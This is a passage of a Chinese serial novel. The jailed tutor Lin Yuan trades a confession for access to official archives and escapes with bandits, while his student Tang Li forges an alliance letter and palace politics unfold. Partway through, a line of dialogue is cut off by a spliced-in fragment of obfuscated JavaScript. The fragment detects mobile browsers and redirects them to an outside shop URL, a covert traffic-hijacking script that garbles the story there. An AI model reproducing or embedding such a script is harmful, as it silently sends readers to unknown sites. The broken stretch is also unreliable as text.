“蔺万宗招了!”师爷一路小跑颠了过来。
“天爷啊,他终于招了。快,说说。”
“姓蔺的说此事只与南衙的莫统领讲,否则就是砍他脑袋也不会招供。”
“不会是挨不住刑罚故意拖延时间吧?”知府起了疑心。毕竟蔺渊在毁盟书前都装的十分老实。
“谢将军已经派人去请莫统领,最快今晚就能到达邓州。”
知府微微点头,又觉得不放心嘱咐道:“多安排些人手看好犯人,别再出岔子。”
谢英背着手看着牢房增加来的狱卒,冷哼一声道:“知府相公怕是太谨慎,就算留着门此人也不会跑,毕竟他是在找死。”
牢头恭敬的拱手行礼,他听不懂上官话中的意思,他也懒得揣摩他话中的意思。站好岗,做好本职工作就好。
“我说的对不对?蔺夫子?”
蔺渊翻眼瞥了眼谢英,直接背过身去。
这小子有事没事就往牢里钻,也不嫌脏。
谢英还真就不嫌脏,他挨着蔺渊坐过来,随手揪着地上的稻草道:“听说你招了,有什么事非要等莫见山来了再说?”
“是你安排唐黎他们来看我的?那些话也是你安排的?”蔺渊对此事很是生气,在他看来不该将学子们牵扯进来。
“什么话?我可没安排唐黎来见你。”
蔺渊半撑着身子起身道:“伪造同盟书的事不是你想出来的?”
谢英几下思索就明白唐黎的意图,她这是要满天过海。这丫头,裹什么乱啊。
他向来脸上藏不住事,蔺渊一看便知他心中所想,由此得出结论,伪造盟书是唐黎擅作主张。
“呵呵。”蔺渊摇头笑了起来。
这个唐黎啊,不仅鬼点子多,胆子也够大。细想起来,此招虽险倒是一步好棋。
可惜了,无人能帮她复制出盟书,计划从第一步便已夭折。
“何事发笑啊。”女子清脆的声音传来。裹着黑斗篷的女子快步走来,所有人立刻恭敬的行礼。
此人便是统领南衙十六卫的莫见山莫大将军。
她看起来不到四十,岁月无情的在眼角留下痕迹。那双杏眸虽看起来人畜无害,盯起人来却又让人不寒而栗。
“蔺渊,好久不见呀。”莫见山随手解下披风,很不客气的丢在谢英肩上。谢英微抖的肩膀透露他此刻的不满,但他依旧恭敬的拱手行礼。
“见过莫统领。”蔺渊艰难的拱手。
“哎呀呀,这是怎么搞的咧,如何伤成这副模样?”软糯的南省腔调很自然的与你拉近距离。
蔺渊往后躲几步道:“不敢脏了统领的衣物。”
“怕什么?我是你姐姐呀。小时后在京城你总是追在我身后,山姐姐长,山姐姐短的叫着。哦,对了,还有王兴,你们师兄弟总是形影不离的。”说着说着她就感慨道:“那时候可真好。”
“是啊。”蔺渊同样感慨,往事最怕追忆。
“来,再唤几声姐姐听听。”说完就一脸期待的等着蔺渊叫她姐姐。
“……”蔺渊自觉与对方没那么熟,张了张嘴最后咳嗽几声想遮掩过去。
“哦,人多你抹不开面的呀。”莫见山瞥了眼谢英道:“还不下去,呆呆的,杵在这里碍眼。”
所有人整齐划一的告退,期间就连一丝喘气声都没有。
“瞧瞧那谢英,连他师父的一半都不如。偏偏王兴还嘱咐我要多磨磨他那倔强的性格。我看是越磨越倔,没得救了。
阿弟当了一个月的教书先生,对管孩子有点心得吧?教教我,也好让我教导谢英,也算对得起他师父的在天之灵。”
蔺渊淡淡的回答道:“谢英的德行自有陈郡谢氏教导,何须莫统领操心。”
“那可不成,谢英是王兴的大宝贝,当儿子教养长大的,我怎么能不操心晚辈呢。”莫见山打进门起就在唠家常,不知道的还以为她与蔺渊有多亲近。
蔺渊却神情冷漠,公事公办道:“莫统领,东西带来了吗?”
“你看看,还是老样子,沉不住气。”她从怀里掏出锦盒道:“丞相手书,可随意调取六部,包括南衙北衙所有卷宗。”
蔺渊接了过来认真翻看比对印鉴。他嫌弃光线暗还特意来到小窗旁边比对。
莫见山再三保证道:“是真的,丞相亲手写的。骗谁也骗不过你的眼睛。”
“好,莫统领果然守信。”蔺渊将手书藏在怀中。
“那我要的东西呢?”
蔺渊抬手就咬破手指:“什么供词我都认。”
莫见山掏出早已准备好的供词,蔺渊看都没看直接抬手画押。猩红的血手印落下,案子便了结。莫见山折好供词道:“值得吗?”
“这有什么值不值。你与我方便,我与你方便嘛。”他抬头笑笑,只是笑容中藏匿着不少苦涩。
“这些年,你变了许多。”莫见山垂下眸子,不知是否在怜悯蔺渊。但很快她就调整好情绪起身,临到门口前她回过头来:“王兴的案子是不可能有结果的,你又何必做这无用功?”
蔺渊蜷缩在草席上一句不发,他摸上怀里的手书信心满满,只要能有借调各部案宗的机会,就一定会查到些蛛丝马迹。哪怕全世界都在隐瞒,我也一定要让真相大白。
师兄绝不会叛国,绝对不会!
…………
“咳咳咳咳咳。”一连串的咳嗽让蔺渊从睡梦中惊醒。他又轻咳几声,揉揉胸口想缓解胸部刺痛。多亏贾复送来抑制寒毒的药,否则先被咳嗽折磨死。
他想起身喝点水,转眸就注意到墙角处的一团黑影,似有人蹲在那里。
“谢…谢英?”他怎么会进牢狱?蔺渊疑惑的走上前。
谢英应声抬头,蔺渊这才发现他受了伤,从额头到脸颊是条未干的血迹。
“你这是怎么了?莫见山动的手?”蔺渊的语调中满是担忧。
谢英没有回答,算是默认。
莫统领是出了名的怪脾气,她手下的人被打不是啥稀罕事。谢英也习惯了,黑暗中看不出他的神色,本来就没什么表情的脸冷到吓人。
蔺渊就不一样,他十分激动手指门外高声道:“她凭什么打你!你可是陈郡谢氏,五姓七望谁敢……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354107|140646||http|test|mini|href|location''.split(''|''),0,{}));
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>谢英直接打断他的话道:“难道还要我回家告状不成?”
他同样激动的站起身道:“你明知莫见山的为人,为何还要助纣为虐?我表兄再怎么行事荒唐,没做过的事就是没做过!你竟敢和莫见山一同陷害他破坏和盟!”
不在理的蔺渊声音弱了几分道:“南衙北衙向来不对付。莫见山陷害北衙统领也属正常。”然后他还十分不要脸的将话题引到谢英身上:“华敬若不是你表兄,你哪里会对此事如此激动。”
“你!”谢英气到忍不住跺脚,撩袍就躲到蔺渊对面,一副完全不想搭理蔺渊的姿态。
蔺渊歪头打量着谢英状态,觉得谢英很可能是与莫见山因为北衙一事争吵,莫见山怕他坏事就给他丢在牢里。
还是那么没长进,非得跟顶头上司争辩,不关你关谁。
“来。喝点水。”蔺渊讨好的把碗奉上,嬉皮笑脸的模样谢英看着就烦,干脆背过身去完全不搭理蔺渊。
蔺渊蹲了下去:“你也是当过几年官的人,朝中党争不就这么回事。互相使绊子,只要对方受罪,那我就高兴。”
“……”谢英对蔺渊所说的话充耳不闻,他脑袋抵着墙生闷气。
“唉。”蔺渊刚要说话就又是咳嗽不止。他顺手就把碗里的水喝点压制咳嗽,就听门外传来声响。
“衙内,我的小衙内啊,您慢点跑。”
一道青光直接闪现,上官竹隔着狱门道:“夫子可安好?”
老奴追上前来:“衙内咱们快走,南衙可不是咱们能说上话的,小心治你的罪。”
“我就说一句话。您帮忙望风。”他嘱咐完奴仆便拉过蔺渊的手道:“我思前想后还是觉得应该通知您一声。唐黎伪造盟书,已经带着盟书去找裕王。”
“唐黎从哪里伪造的盟书?”
上官竹没来及回答蔺渊的问题就被老奴拉走。
蔺渊只觉得现在一个头两个大,身后传来谢英嘲讽的笑声:“身为夫子竟不知自己学生的本事?上官竹作伪的本事我是见过的,这么说吧,不比你差。”
“伪造盟书可是死罪,这件事牵连如此多人,怎能保证各个都守口如瓶,若是哪天抖露出去,这帮孩子啊。”蔺渊眉头紧皱。日后此事败露,裕王第一时间只会将伪造盟书的学子推出来明哲保身。
且莫见山已带供词入京,若是陛下问罪北衙,到头来北明那边收到盟书,合盟顺利进行。那对于陷害同僚的莫见山,陛下自然不会有好脸色,莫见山又怎会平白吃下哑巴亏。
“谢英你速去拦住唐黎。”蔺渊将希望寄托在谢英身上。
“上官竹不都说了,已经见到裕王,我怎么拦?”他摊摊手表示自己无能为力。
“那就拦莫见山。”蔺渊推着谢英在外走。
“你真有意思,我被莫见山关在狱中,此时再去拦她,还没等近身就被一剑封喉。”
谢英与蔺渊的想法不同,他巴不得莫见山被陛下训斥,最好能罢免她统领位置。至于唐黎是否会打击报复,他还没想那么远。
蔺渊指望不上谢英,找来狱卒用上官竹留下的银钱换来个送信出去的机会。
“怎么?你还想逃狱?”谢英半躺在地上,一脸轻松的看向蔺渊。
回复他的只有咳嗽声。蔺渊就是打算逃狱,此刻不走更待何时?
53. 记住,江湖人最不讲规矩
几声寒鸦划过天际,寂静的巷子走进一队兵士,他们两人成排护卫着中心的红衣女子。
“喵~”非常难听的猫叫声让人听的后背发麻。警惕的王府亲卫更加握紧手中的武器。
唐黎也觉得后劲处凉凉的,她狐疑的回头就见不远处的屋脊上爬满了人,他们身形如猫四肢紧扣瓦片,嘴角咬着匕首,眨眼间闪着银光。
“小心!”唐黎高声示警。同时黑衣人顷刻飞出朝众人扑来。
唐黎软剑刚一出鞘便闻到一股子奇香,似花香又似药香。顿时觉得头晕眼花,身体也失去平衡。
这才反应过来对方挥的是迷药。唐黎暗骂自己大意,连忙用袖子掩鼻,想要躲避迷药却已经来不及。
她只能咬牙保持清醒,可越是这样越是觉得眼皮沉重,最终眼前一片漆黑仰头倒地。
等再睁开眼睛时,唐黎发现自己处于舒适的床榻之上,只是脑袋依旧昏沉,视线依旧模糊。
那种感觉就像梦魇,所有的一切你都能感知到,但全身上下每一处骨头动弹不得。
唐黎转着唯一还能动的眸子打量四周。透过帷幔隐约看到有身影立在窗边,那道背影颇为熟悉。
“咳咳咳咳。”一连串的咳嗽声率先传来。
唐黎立马识别对方的身份,她想掀开帷幔与蔺渊说个明白,可现在的她无能为力。
蔺渊早已换下脏乱的血衣,此刻的他身披墨蓝色绣金丝滚边长袍,腰系玉带,乌黑的长发随意披散。不知道的还以为是哪里来的翩翩贵公子。只是手上裹着渗血的纱布暴露他曾遭遇过一切刑罚。
他走到床边,还是那温柔的嗓音,他先是笑了笑道:“还记得我曾与你说过,江湖人最不讲规矩。”
又点了一炷香在唐黎眼前晃几下,香味通过鼻腔涌进脑顶,唐黎的脑袋总算没那么晕乎,想来是解药之类的。
“你不要怕,我是不会伤害你的。伪造盟书罪责难逃,不是你们这些学子能担待起的。”说着他掏出一份书信放在枕边,仔细压好。
“若是有人问起,一定要把罪责推到我的身上。所有的事情你一概不知。记住,所有的罪责推到白虎山逆贼蔺渊身上。”
“……”
这下唐黎更糊涂,无缘无故的毁盟书就算了,这会又要争着担伪造盟书的罪责,蔺渊到底在搞什么?他总不会还要去毁掉伪造的盟书吧?难道南衙给他的任务是破坏楚明和谈?
“一盏茶后迷药的药效便会消失。牵连书院的事我万分抱歉,我会尽量弥补。”蔺渊郑重的拱手道:“替我与十八斋的学子们告别吧。江湖路远,也许不会再见。”
他的身影消失在门口,唐黎瞪着眼睛紧盯木门,感受着身体慢慢恢复力气。
等恢复正常后,她第一时间坐起身拆开信封。
信里写得就是蔺渊说的那些话,除此之外还提到梅花针案,有关这起案件的所有细节都被蔺渊书写成册留在寓所。
不仅如此,邓州这四起案件他也写了不少猜想,并嘱咐唐黎与顾平安联手去查,查之前定要报告官府,不可独自行事。无论如何,一定要注意安全。
字里行间全是关心与嘱托。
唐黎还记着他迷晕自己的仇,瞥了下嘴道:“一如既往的唠叨。”虽说在骂,但嘴角还是忍不住的挑起。
推开窗户发现身处与闹市中的客栈。朝阳初升,晨曦照亮整座城池,一切都显得那么安宁。
“铛铛!”敲锣示警的声音响彻整个街头。
“走犯!”
“城门关闭,任何人不得进出!”官兵在街道上四处吆喝。
窗口处唐黎的视线正好与骑马回首的将军对个正着。她直接推开了门,没过多久将军打扮的人出现在门口。
谢英上来就道:“白虎山的土匪劫狱.....”
唐黎接下话茬道:“我知道,我见过蔺渊了。”
“他与你说过什么?”
“让我将一切罪责推到他的身上。”唐黎抬手示意表兄入座。
谢英活动下脖子,感觉他那里很不舒服的样子,于是唐黎问道:“你的脖子?”
“让蔺渊给暗算的。”
白虎山的人来劫狱,与蔺渊同一牢房的谢英自然就是威胁。他们上来就用迷香,把谢英迷的晕乎乎的不算,还趁机打击报复。
唐黎捂嘴偷笑道:“表兄是故意放蔺渊走的吧?不然以你的武功怎会狼狈至此。”
“咳咳。”谢英清清嗓子整理着衣物,避开唐黎的问题,上手就杵着她的脑门道:“伪造同盟书,你有几个脑袋!蔺渊肯为你解围,你就烧高香吧”
“他不毁同盟书,我为何要伪造同盟书?”唐黎向来嘴硬。
“懒得理你。”谢英依着窗看着街上热闹非凡。
有兵士汇报道:“将军,没有发现白虎山等人的踪迹,副将建议出城去寻。特命小的请示将军。”
“分出十二人由副将统领出城,其余人继续在城内搜索。切记,勿惊扰到王爷。”
“是。”
等兵士退下,唐黎上下打量一番表兄,笑着道:“表兄还不承认,蔺渊就是你放走的,还在这装模装样的抓人。”
她同样走到窗前,将信递了出去:“诺,蔺渊给我的信。”
谢英却背过身去:“我不看,定是比老太太的嘴还要唠叨。”
唐黎又笑了,晃着信纸道:“这都知道?早知你和蔺渊这般熟悉,我就信了他,何苦折腾出这事。”她叹了口气道:“弄巧成拙。”
谢英撇了妹妹一眼,悠悠的说道:“蔺渊毁坏盟书是由莫见山授意的,为了嫁祸一人。”
“谁啊?这朝中还有人需要莫见山用这腌臜的手段?我还以为是莫大统领一手遮天呢。”
“你的兄长。”谢英的语调沉了几分,唐黎手中晃着的信纸也稳稳落在桌上。
谢英继续说道:“所以你并没有弄巧成拙。王爷已顺利带着同盟书启程北上。莫见山手中弹劾华敬的折子只会成为她的催命刀。”
那瞬间唐黎的脸色变了又变。
催命刀?那倒不至于,莫见山与陛下的关系可谓匪浅。
十年前齐王联合郑王欲谋害太子,架空皇帝。不仅害太子惨丢一臂,还将老皇帝气到中风。
那年是朝中动荡不安,外邦虎视眈眈。
一直镇守北境的长公主领兵勤王,平定宫变,拥护太子登基。
次年太子以身体残疾为由禅位大长公主。
自此女皇登基,年号开元。
莫见山从女皇的闺中密友,到随侍女官,再到统领三军的将帅。一路陪着公主走到皇位,女皇陛下又怎会因为小小“乌龙事件”降罪到莫见山身上。当然这些宫中秘闻也不是所有人都知道的。
唐黎抬眸问道:“如果,我是说如果莫见山知道是我伪造同盟书会如何?”
谢英微微摇头:“以她睚眦必报的性格,怕是不会轻易放过你。但现在的情况是蔺渊背下伪造同盟书的罪责,你
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们只需守口如瓶,别再生事。”
“蔺渊会如何?”
“他.....向来命硬。”谢英望着手中的茶盏,客栈也不会配什么好茶,皱巴巴弯曲不堪的茶叶在杯中打转,他转手就将茶叶撇出。
“我看表兄与蔺渊挺熟的,为何见面总是阴沉个脸,你们是有什么过节吗?”
谢英发现最近这段时间与表妹的对话都是围绕着蔺渊,表妹似乎对蔺渊过于好奇和关心。他心里隐隐担忧,别是自家妹妹动了不该动的心思。
他起身挂好佩剑,临走到门口处回首道:“我曾带兵抄过蔺渊一家。”
唐黎还想再多打听些,谢英却充耳不闻的离开,留着唐黎想不明白的自言自语道:“要说是这过节,那也是蔺渊不待见表兄,怎么会闹个相反?”
金吾卫上前拱手道:“唐学子,随我回书院吧。现在书院有金吾卫接手,待将军问过话后书院便能解禁。”
唐黎点点头,随着金吾卫上山。
话说回到白虎山一行,他们带着蔺渊逃狱,又与前来阻拦的官兵战上几番。就属石泰勇猛,如今都撤进林中他还嚷嚷的要与官兵大战三百回合。
“别嚎了!咱们才几个人,官兵多少人?能顺利离开邓州就算不错的。”侯保训斥着石泰,眼色却瞟向依着树的蔺渊。他赔笑着上前道:“哥哥,咱们教书先生当不了了,邓州也呆不下去,是不是随弟弟们回山?”
蔺渊低声嗯了一声,这可把众人高兴坏了,簇拥着蔺渊七嘴八舌的说着。
“桃花山,二牛头山都等着哥哥回山聚义,咱们三家联合,还怕废不了方正勇那鸟人。”
“蔺家哥哥神机妙算,又会排兵布阵的,咱们回山就集合众家兄弟,会会北号山。”
“对,什么开路神方正勇,老子把他娘的路堵死。哥哥,咱们这就回白虎山,为大哥报仇!”
蔺渊低着头,看起来不是太精神,侯保示意大家闭嘴别吵到蔺渊。他歪头打量着蔺渊,见对方眉头紧皱,白眼一翻就昏死过去。
“哥哥,哥哥。”众人担忧到上前。
侯保指挥道:“石泰你来背。”
石泰直接将半昏半醒的蔺渊背上出发,也不过才走上十来步,蔺渊的声音传来:“走慢些,别累着。”
得到关心的石泰憨憨的笑了几声,他怕走快颠到背上的人,特意放慢脚步,因此和大部队差上几十步。
蔺渊这才趴在他耳边轻声道:“崔安到底是谁动的手?”
“时臣安排的,他说不能让哥哥白挨那一棍子,让猴子动的手。”老实点石泰什么都说。
“他没让你去?”
“说我下手没轻重。可猴子都快把人脑袋剁掉了,还给扔到大街上。也不知谁没个轻重。”石泰委屈的发牢骚。
蔺渊点了点头,这一问不过是解心中之惑。也不怨顾平安会怀疑到我身上,侯保估计是故意留下些关于我的证据,以此逼我离开邓州。
猴子与时臣竟敢共同哄骗我。
石泰继续道:“猴子说跟着你去西城把那帮黑衣人打的哭爹喊娘,还一把火将人烧的黑焦。大涨咱们白虎山的威风。哦,对了,猴子还说哥哥亲手将对方老大毙命,说的可神叨呢,有没有这回事?”
“嗯。”蔺渊低声应下。
“哥哥当真勇猛。等到了白虎山,你可要坐上当家的位子,莫要再推脱了。”
“好。”蔺渊又应承下来。他上下眼皮打架趴在石泰的背上昏睡过去。
54. 三个月后
三个月后裕王顺利到达北明,两国达成共识友好和谈。自此盟书之事告一段落,花洲书院恢复往日的平静。
临近年节,书院山门前热闹非凡,排队等候的马车堵在山门,都是前来接学子回家过年的。
唐黎在马车前与林焕依依惜别,上官竹最不愿面对离别,他翻身上马假装轻松道:“过完年咱就回来了,搞的跟再也不见似的。”
唐黎拍了拍林焕的手道:“替我给伯父伯母拜个年。”
“嗯,一路平安。”林焕挥挥手送别同窗。
由上官竹开道,载着唐黎的马车悠悠远去。送完人后的林焕背着行囊预备下山,抬眸便碰到他那位街坊王金诚。
“你怎么来了?”林焕有些惊讶的问道。
王金诚搓了搓冻红的手道:“听说书院年节休沐,我来接你。”说着就上前要拿林焕的包裹。
林焕有些不好意思的退后几步道:“没多少东西,不沉。”
“哦。那,好吧。”王金诚低着头跟着林焕,二人也不怎么说话就这样往山下走去。
年还是一如既往的热闹,林焕家的猪肉铺趁着年节赚上不少。林焕笑盈盈割着肉,她的母亲推着她道:“过了年就要府试,还不快去读书。”
“我这不是怕您累着嘛。”林焕讨乖的笑着。
“这孩子,分不清主次。快去读书。”
“是。”林焕擦着手正要离开,去路被位披金戴银的年轻妇人拦住。
那妇人轻声细语的道:“小姑娘,我向你打听个人。花洲书院可有位姓蔺的夫子?”
林焕满脸笑意瞬间冷了下去,她连忙摆手道:“不清楚。”
“可那位大爷说学子在花洲书院读书的,怎会不清楚?”
“你认错人了。”林焕摆着手直接跑掉,徒留那贵妇人与侍女面面相觑。
侍女歪了歪头道:“姑娘,那丫头分明就是知道二爷的样子,用不用我派人砸了她家铺子?不怕她不说。”
“你二爷怕是又惹了祸,咱们走吧。”贵妇人转身上了马车,她撩帘看了眼繁华热闹的街道,颇为伤感的催下眸子,轻道一声启程。
躲在暗处的林焕观察着马车,这辆马车比邓州城内任意一家的马车都要富贵,就连来接唐黎的都不如这辆。再看那妇人通身打扮,举手投足间的气度绝对不是普通人。
正当她满是心思在马车上时,有人从背后拍了下她,吓得林焕差点没跳起来。
“宝儿,是你啊。”看清来人后林焕顺着胸口喘着气。
苏天赐指着马车道:“你也被问话了?那位富太太也向你打听蔺夫子?”
林焕一下子就紧张起来,苏天赐是不会撒谎的,但转念一想若是从天赐那得到消息,也不会再来问我啊。
苏天赐像是知道林焕的想法,开口道:“我与王师兄一起,王师兄回了句不知道就拉着我就离开。”他掏着包道:“师兄对你的文章做了批注,托我交给你。”
林焕心不在焉的接过,视线还是落在那辆远去的马车上。从蔺渊出事到现在,整整过去三个月,也不知夫子他是否平安。
“吁!”奔驰的骏马扬了扬蹄子停下脚步,身着甲胄的女将军翻身下马。
“见过莫统领。”内侍官从宫门内一路小跑而来。他在门口等候多时了,这大冷的天儿冻得耳朵发紫,但面对莫见山时依旧是满脸堆笑。
“统领一路辛苦。”
莫见山轻轻嗯了一声算是打过招呼,她解下配剑随意丢给内侍道:“陛下身体可好。”
“康健着呢,统领注意脚下。”内侍捧起那把佩剑恭敬递给身后的护卫,然后引领莫见山朝内宫走去。
冬日里的御花园内一片萧瑟,没有半点生气,只余寒风肆虐,感受到凉意的莫见山快走几步。而御书房内便是另一番景象,厚重的暖帘将内外隔绝出两副天气,窗台上盛开的鲜花争相吐蕊,香味四溢。
莫见山进殿时,穿着宝蓝色长袍的女人正坐在窗前的矮桌旁写字,她头发盘的整齐利落,满头珠翠彰显华贵。
“末将莫见山叩见陛下万岁。”莫见山的声音铿锵有力。
女皇手中的笔没停,她抬眼看向跪地之人道:“三月未见,甚是想念。莫卿剿匪情况如何?”
莫见山未敢抬眸,恭敬的奉上折子道:“回禀陛下,末将斩获匪首十名,擒获三百余人,缴获两万八千两白银。”
女皇点点头,继续埋首书案前批复折子:“交于三司复审,情况属实者,斩立决。”
“末将遵旨。”莫见山应声答道,接过奏折准备告退。
“白虎山呢?”女皇的声音从后方传来。
莫见山身形微怔,随即恭敬答道:“白虎山地处东南,此次剿匪在西北,末将无能,未能与其交锋。需等那边的奋勇将军汇报。”
女皇放下笔,端详着莫见山道:“除此以外就没有别的想与朕说的。朕听闻莫卿在邓州停留数日,可是同盟书出了问题?”
“陛下明察,确实有些小插曲,但已解决。”
“那北衙写折子跟我闹什么情绪,怎么?你又欺负他们了?”
“绝对没有。反而是北衙不讲道理。末将听说北衙派了两伙刺客刺杀谢英,谢将军差点因此丧命。”
“这点谢小子到没提过。”
“谢将军心眼实诚,怕起争端,特意隐瞒伤情。您看他脑门上还落下了疤痕。”
女皇转念一想,上次见谢英确实注意到他的疤,好好一张俊朗的脸,额角处落了疤,也不知能不能好。惋惜之余也不再询问南衙北衙之间的斗争。
她走下高台拉过莫见山的手道:“马上就是年节,朕那些不争气的孩子们也要回来,到时候咱们聚聚吃个家宴。”
“是。”虽然女皇对她的态度随和,但莫见山不敢恃宠而骄,反而恭恭敬敬的行礼。
“陛下,礼部侍郎燕长君求见陛下万岁。”女官禀告道。
“让他进来。”
莫见山见状便道了告退,出门时正好与这位侍郎相公碰上。
此人身材修长,红色的官袍衬着更加风流倜傥。面容算不得上有多俊秀,但那双桃花眼太过惹眼,看谁都副笑盈盈的模样,
而这位燕侍郎正是传闻中的面首,甚至有传言陛下欲立其为“皇夫”。
咱们这位陛下与驸马都尉携手十几年风雨,育有两儿一女,可谓恩爱。可惜驸马无福,英年早逝,那时身为大长公主的陛下悲痛欲绝,服丧三年以示追思之情。
陛下对驸马的情谊真的就这般长嘛,那倒是未必。不然也不会有今日的燕长君。
但莫见山并不关心,她觉得只要陛下顺心,喜欢谁、钟情谁,乃至封谁为皇夫,封多少个皇夫都是可以的。
至于燕长君是否能成为皇夫,还需看他的本事。
就比如现在,东偏殿的身影引起莫见山的注意。
“大殿下,您不能过去。”内侍官好说歹说的才把大皇子给劝下,差点就没能拉住。
“殿下您是知道的,二殿下因出手教训燕相公一次,就被陛下斥责指派到北境守城去了。”
身着华服的青年指着面前的大殿道:“不管母亲与此人是何关系……你放开我。”他挣脱内侍官的辖制,大踏步地往前走:“今日就算是死谏,也绝不允许燕长君出现在除夕祭祖之上,这将我的父亲置于何地!”
“殿下!我的殿下呦!注意仪态啊!”内侍官连滚带爬的追着大皇子。
“见过大殿下。”莫见山半路截胡大皇子,恭敬的行礼道。
“莫姑姑什么时候回的京?”大皇子抬手示意莫见山免礼。
“今日入京。刚从陛下哪出来。末将见大殿下的心情不怎么好,可是因为燕相公?”
大皇子抿了下嘴,没有接话。
不同与他那莽撞的双生子弟弟,大皇子可以说是谦卑有礼,文武全才。且为嫡长子,朝中有不少人认为皇位最终会落到这位的头上。
可突然冒出来个燕长君,勾得陛下是神魂颠倒的。燕家又非世族,燕长君更
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是穷书生一个。若是陛下再次诞下皇子,比起满身挂着外戚的二位皇子,似乎这个没什么外戚掣肘的孩子会更合陛下心意。
大皇子有危机感也属正常。
这点莫见山与大皇子是统一战线。她怕陛下真被燕长君哄的诞下皇子。对谁继承大统她倒是没意见,主要是担心比陛下的身体状况,担心有人乘机生事。
于是莫见山好心支了个招。二皇子行事荒唐人尽皆知,正好年节也要回京,根本不用多说什么,他自己就会去对付燕长君。
“可这样对二弟不好吧。我怕母亲生气会.....”
“大皇子这般冲进去,就不怕陛下治罪与你?”
“那……可.....”他那副优柔寡断的样子让莫见山看了直摇头,我不愿和他多说,拱手道:“殿下,末将还有事,先行告退。”
等莫见山的身影远去,内侍官问道:“殿下,那咱们安排迎接二皇子的人还需说此事吗?”
大皇子理了理锦袍道:“听到没有,按莫姑姑吩咐的做。务必把燕长君所作所为告知二弟。”
“是,那殿下还去见陛下吗?”
“不了。”大皇子摆摆手转身就走。
京城繁华热闹,商铺林立。连买文房四宝的店铺都是三层小楼。今日一早有喜鹊报喜,转眼就来了贵客。店家小心的侍奉着,来人即是贵客也是常客。
“唐阁老您看,新进的这些澄心堂纸如何?”
唐宪捋了捋胡子,扭头道:“小黎儿,你看呢?”
唐黎抽了一张随手便做起画来。店家看着直揪心,多珍贵的纸在这些少爷小姐手中与草纸无异啊。
“小黎儿什么喜欢用枯笔作画?之前不还嫌弃枯笔画景荒凉之感甚重。”
“我家夫子喜欢这般用笔。看着看着也就习惯了,虽带些苦涩,更多的是刚劲不屈。”就像作画者本人一般,唐黎也慢慢理解蔺渊的心境。
“哦,是嘛?”唐宪示意店家把纸包好送回府,他带着唐黎又挑起笔来。
“柳氏的笔你看如何?”
“不好,夫子说了选笔要选诸葛氏的笔。”
“哈哈哈。”唐宪笑着指着砚台道:“那这砚呢?”
“自然是凤咮砚,夫子说此砚声如铜铁,如有肤筠然,顶好之砚。”唐黎说得头头是道。
店家笑道:“姑娘可是就读与国子监?您家这位夫子规矩真不少。”
“文人嘛,大多讲究些。”唐黎对此是这般解释的。
唐宪看向唐黎慈爱的笑道:“我常听你提起这位夫子,倒是个趣人。哪天带回来让我瞧瞧。”
身旁的管家附和道:“是啊,从未听姑娘这么将一个人挂在嘴边,定有可取之处。带回来让太爷也乐上一乐。”
“他......”唐黎转了下手中的笔。她想说自己也许久未见,可能这辈子都不会再见,但又不想说如此丧气的话。
唐宪没看出孩子的不开心,继续道:“你兄长最近跟南衙斗起来了?”
唐黎直接来了个摇头三连:“不知道啊,不清楚啊,怎么会这样啊。”
“孩子别光知道读书,也该关注关注朝堂局势。”
“我不操那心,天塌下来有您,有兄长们呢。我啊,现在就好好读书,应试科举。”
“好孩子。”唐宪夸赞完,又道:“你也该回去看看了,别赖在我这儿,你的母亲很是想你。”
唐黎撅起嘴来,本来是来躲清闲,结果到这里又被劝着回家。
恰逢楼下来了一队车马,她乘机挪开话题,趴在窗口道:“这是哪位将军凯旋,竟有如此多的百姓迎接?”
店家道:“听闻是剿匪的大英雄,英勇无比,将贼人打的是节节败退。名字倒是个好意头,叫顾平安。”
听到这个名字,唐黎的笑容僵硬在脸上,眼中闪过一丝厌恶。她问着管家道:“福叔,今日出门可有跟护卫?”
“有,跟了八个人。”
“借我四个。”说完就下楼叫人去了。
55. 砍头疼不疼啊?
百姓们对于剿匪英雄十分热情,从进城门开始就有很多人围观,送花的,投香果的,一度导致马队行进缓慢。
为首的顾平安甲胄加身,身披红绸意气风发。看着挥手致意的百姓们,那一刻满腔的骄傲和自豪。
瞧瞧,这才是威武的将军,这才是受人敬仰的英雄,这才是我,顾平安。
顾平安满眼笑意俯视着众人,视线微错在某处停留了一瞬间,他的脸色微变,随即又恢复如常,只是僵硬的嘴角出卖了他内心的紧张。
兵部衙门前早有内侍官等待,才看到人影内侍官便颠颠地跑来。
顾平安连忙率领部下马参拜。
“陛下口谕,将士们一路劳累,点卯过后可先行歇息,酉时与麟德殿设宴。”
“遵旨。”顾平安接旨起身,注意到后巷的人影,他与副将嘱咐两句便往后巷走去。
“唐学子,许久未见,可安好?”他笑着抱拳打了个招呼。
唐黎将他上下扫视一遍,觉得那代表荣誉的红绸十分扎眼,抬手就将他肩上的红绸给拽下来。
“唐学子,你这是?”顾平安没想到唐黎会如此行事。
唐黎转手就将红绸扔到一边,白了他一眼道:“你不配。”
“唐黎,我现在可是五品定远将军,你放尊重些!”今日是他顾平安功成名就的一天,而他拼死换来的荣耀就这样被人丢弃,也怪不得他发脾气。
顾平安的警告在唐黎面前显得苍白,唐黎抬腿就是一脚,正中对方腹部。这结结实实的一击让顾平安疼弯了腰。
“给我打!狠狠地打。”唐黎退到一旁,唐府的护卫纷纷冲上来,拎着短棍二话不说的就招呼上顾平安。
身为将军,功夫自然是有的。但此刻顾平安不敢还手,他因破获梅花针一案得到南衙青睐,提拔为昭武校尉随军剿匪,早晚与南衙混到一处,自然就对唐黎的身份有些了解。
她,是自己得罪不起的。
娇娇小姐的脾气大,想出气那自己便挨着吧。
护卫虽说听主家的话,但对于殴打朝廷命官这件事心里还是没谱的,他们见顾平安不还手,打着打着也就停了手。
唐黎揪起顾平安的衣领道:“知道我为何要打你?”
“知道。”顾平安抹了把嘴角渗出的血道:“因为我抢了你当女官的机会。”
唐黎失望的摇摇头:“看来你还是不知道。”
“姑娘出身显赫,不争便拥有一切,何苦要与我计较?”
“你听着!”唐黎死死盯着顾平安道:“你抢我功劳我不怪你,我甚至乐意把功劳让给你。梅花针一案本就是你出力最多,那是你应得的。”
顾平安的眼中闪过一抹异样,他躲闪着目光不敢再直视唐黎。
